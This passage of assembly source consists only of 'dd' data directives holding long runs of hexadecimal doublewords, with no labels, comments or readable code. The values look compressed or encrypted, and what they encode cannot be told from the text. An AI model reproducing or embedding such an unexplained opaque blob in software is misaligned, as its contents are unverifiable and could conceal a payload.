75CAFE0Dh, 0AFC0DAA3h dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h dd 957D5A64h, 4D282703h dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h, 154FD0FBh dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h, 0E57538A0h dd 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h, 39403Ch dd 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h, 742FE73Fh dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h dd 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h, 4E182Ah dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h dd 57ED00Ch, 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh dd 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h dd 0EBF4220Fh, 0BCEFF7h dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh, 2566B322h dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h, 130FABCAh dd 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h, 9A07D751h dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h, 0FC64C4ECh dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh dd 15890004h, 64A87B0h, 2D501245h, 68056ED0h, 0EF82CD8h dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h dd 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h, 803908C4h dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh dd 887A1D94h, 84F40F4Fh dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh dd 4203800Eh, 33F7024h, 254FF066h, 138896D5h, 1C004522h dd 270520A8h, 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h dd 71E8F1E0h, 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h dd 0C3312Bh, 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h dd 112FC53h, 1C2693F4h, 